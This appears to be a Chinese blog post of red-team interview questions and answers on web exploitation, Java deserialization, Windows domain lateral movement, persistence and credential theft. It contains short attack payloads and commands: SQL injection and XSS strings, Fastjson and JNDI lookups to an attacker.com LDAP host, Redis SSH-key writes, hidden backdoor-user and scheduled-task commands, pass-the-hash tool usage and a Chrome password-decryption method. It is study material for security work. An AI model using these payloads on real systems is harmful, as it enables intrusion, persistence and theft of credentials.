2025年渗透测试面试题总结-红队攻防工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
红队攻防工程师
1. SQL注入的报错函数
2. DOM型XSS
3. SSRF利用点
4. SQL注入点空表利用
5. MVC代码审计流程
6. 挖洞实战案例
7. Redis利用姿势及环境差异
8. Fastjson回显
9. JNDI注入及原理
10. 端口389
11. Java回显技术
12. 泛微OA XStream回显差异
13. Shiro限制Payload长度
14. 文件上传白名单绕过
15. 00截断原理
16. 判断域控的几种方式
17. 工作组横向 vs 域内横向
18. Windows认证协议
19. 判断是否在域内
20. Hash传递原理
21. 权限维持技术
22. 横向移动姿势及原理
23. 凭证获取与对抗
24. 对抗杀软添加后门用户
25. Chrome密码Dump原理与工具思路
红队攻防工程师
sql注入的报错函数 dom 型 xss ssrf 利用点 sql注入点,空表如何利用 mvc代码审计流程 看你简历有在挖洞,说一下你挖过的洞 Redis 利用姿势及环境差异 fastjson回显 jndi注入及原理 端口 389 Java 回显 泛微oa xstream的回显(jdk1.8和1.7的差异) shiro 限制payload长度 Java回显的通用思路以及不同版本jdk的差异 文件上传白名单利用 00截断的原理 判断域控的几种方式 工作组横向 域内横向 Windows认证协议 白银票据黄金票据 判断是否在域内 hash传递原理 权限维持 横向移动的各种姿势及原理 凭证获取(姿势/常用/原理/对抗) 如何对抗杀软加后门用户 Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理)
1. SQL注入的报错函数
- 核心函数:
- MySQL:
updatexml(1,concat(0x7e,user()),1)
、extractvalue(1,concat(0x7e,user()))
- MSSQL:
convert(int,@@version)
触发类型错误- Oracle:
ctxsys.drithsx.sn(1,(select user from dual))
- 原理:通过构造语法错误,使数据库返回错误信息中包含敏感数据。
2. DOM型XSS
- 触发场景:前端直接操作DOM未过滤用户输入,如:
javascript
document.write(location.hash.substring(1)); // 攻击者通过#<svg onload=alert(1)>触发
- 特点:仅客户端执行,无需服务器响应,常见于SPA(单页应用)。
3. SSRF利用点
- 协议利用:
file:///etc/passwd
读取本地文件dict://127.0.0.1:6379/info
探测Redis信息gopher://
构造HTTP请求攻击内网服务- 云元数据:
http://169.254.169.254/latest/meta-data/
(AWS密钥泄露)。
4. SQL注入点空表利用
- 方法:通过虚拟数据触发报错,如:
sql
UNION SELECT 1,(SELECT 1 FROM dual WHERE 1=cast((SELECT version()) AS INT)),3
- 原理:强制类型转换失败导致错误信息泄漏数据。
5. MVC代码审计流程
- 路由分析:检查URL映射(如Spring的
@RequestMapping
)是否存在未授权访问。- 控制器校验:验证
@PreAuthorize
等权限控制是否缺失。- 模型层SQL:检查ORM框架(MyBatis/Hibernate)是否存在动态拼接。
- 视图层XSS:模板引擎(Thymeleaf/JSP)是否转义用户输入。
- 第三方组件:Fastjson/Shiro等版本是否存在已知漏洞。
6. 挖洞实战案例
- 逻辑漏洞:某系统支付流程未校验订单归属,导致越权支付。
- 未授权访问:API接口
/api/admin/list
无Token验证,直接获取敏感数据。- SQL注入:搜索框参数
keyword
未过滤,利用' AND 1=updatexml(...) --+
获取管理员密码。
7. Redis利用姿势及环境差异
环境 利用方式 Linux 写SSH公钥( config set dir /root/.ssh
)Windows 写启动项( C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil.bat
)通用 主从复制RCE( SLAVEOF
指向恶意服务器)
8. Fastjson回显
- 低版本(≤1.2.24):直接JNDI注入,如
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp"}
。- 高版本:利用
BasicDataSource
构造内存马,通过ClassLoader加载恶意类。
9. JNDI注入及原理
- 原理:JNDI动态加载远程对象,攻击者控制
lookup()
参数指向恶意RMI/LDAP服务,触发远程类加载。- 利用链:
InitialContext.lookup("ldap://attacker.com/Exploit")
→ 加载恶意类执行RCE。
10. 端口389
- 用途:LDAP协议默认端口,用于域环境中的用户认证和目录服务。
- 关联攻击:域渗透中通过LDAP查询域用户、计算机等信息。
11. Java回显技术
- 通用思路:
- 通过当前请求线程获取
Response
对象,直接写入结果。- 反射调用
ServletContext
或HttpServletResponse
输出数据。- JDK差异:
- JDK≤7:直接使用
TemplatesImpl
加载字节码。- JDK≥8:需结合JNDI或内存马绕过限制。
12. 泛微OA XStream回显差异
- JDK1.7:利用
java.beans.EventHandler
链直接执行命令。- JDK1.8:需通过
TemplatesImpl
加载字节码,结合反射输出结果到响应流。
13. Shiro限制Payload长度
- 绕过方法:
- 使用短链(如CC链的简化版)。
- 分块传输(
rememberMe=payload1; rememberMe=payload2
)。- 结合内存马(如注册Filter)。
14. 文件上传白名单绕过
- 技巧:
- 扩展名混淆:
.php
→.php5
、.phtml
、.phar
。.htaccess
:设置AddType application/x-httpd-php .jpg
。- 内容伪造:图片马+修改Content-Type为
image/jpeg
。
15. 00截断原理
- 场景:旧版PHP(<5.3.4)处理文件名时,遇到
%00
会截断后续字符。- 利用:
evil.php%00.jpg
→ 服务器解析为evil.php
,前提是magic_quotes_gpc=Off
。
16. 判断域控的几种方式
- 命令:
nltest /dclist:域名
。- DNS查询:
nslookup -type=srv _ldap._tcp.dc._msdcs. 域名
。- 注册表:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History
中的DC信息。
17. 工作组横向 vs 域内横向
场景 技术 工作组 IPC$共享、WMI命令、PsExec、SMB协议传递。 域内 Kerberos票据传递(黄金/白银票据)、LDAP查询、GPO组策略下发。
18. Windows认证协议
- NTLM:基于挑战-响应,易受中间人攻击(Responder工具)。
- Kerberos:基于票据(TGT/ST),黄金票据(伪造TGT)需krbtgt哈希,白银票据(伪造ST)需服务账户哈希。
19. 判断是否在域内
- 命令:
systeminfo | findstr /i "Domain"
。- 注册表:
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
。- 环境变量:
echo %USERDOMAIN%
。
20. Hash传递原理
- 本质:使用NTLM哈希代替明文密码进行身份验证(Pass-the-Hash)。
- 工具:Mimikatz的
sekurlsa::pth
或Impacket的psexec.py -hashes LMHASH:NTHASH
。
21. 权限维持技术
- 系统级:
- 隐藏账户:
net user test$ Password123 /add
。- 计划任务:
schtasks /create /tn "Update" /tr "evil.exe" /sc hourly
。- 域控级:
- DSRM密码同步:修改域控DSRM密码为已知值。
- Hook PasswordChangeNotify:截取密码修改事件。
22. 横向移动姿势及原理
- Pass-the-Hash:直接使用哈希认证(NTLM协议)。
- Overpass-the-Hash:将哈希转为Kerberos票据(需域账户权限)。
- DCOM/WMI:远程执行命令(如
Get-WmiObject
调用Win32_Process)。
23. 凭证获取与对抗
- 常用工具:
- Mimikatz提取LSASS内存。
- Procdump导出进程内存离线解析。
- 对抗杀软:
- 使用C#版Mimikatz(避免特征检测)。
- 注册表注入无文件加载(如
reg add
+rundll32.exe
)。
24. 对抗杀软添加后门用户
- 隐藏用户:
net user test$ Password123 /add /domain
($符号隐藏)。- 注册表克隆:复制管理员RID至隐藏账户(
HKLM\SAM\SAM\Domains\Account\Users
)。- 无文件启动:通过服务DLL或WMI订阅执行。
25. Chrome密码Dump原理与工具思路
- 原理:
- 定位
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
。- 解密密码字段(调用
CryptUnprotectData
API,需用户登录状态)。- 工具实现:
- Python脚本复制数据库文件→SQLite读取→调用Windows API解密。
- 关键代码:使用
pywin32
库的win32crypt.CryptUnprotectData()
。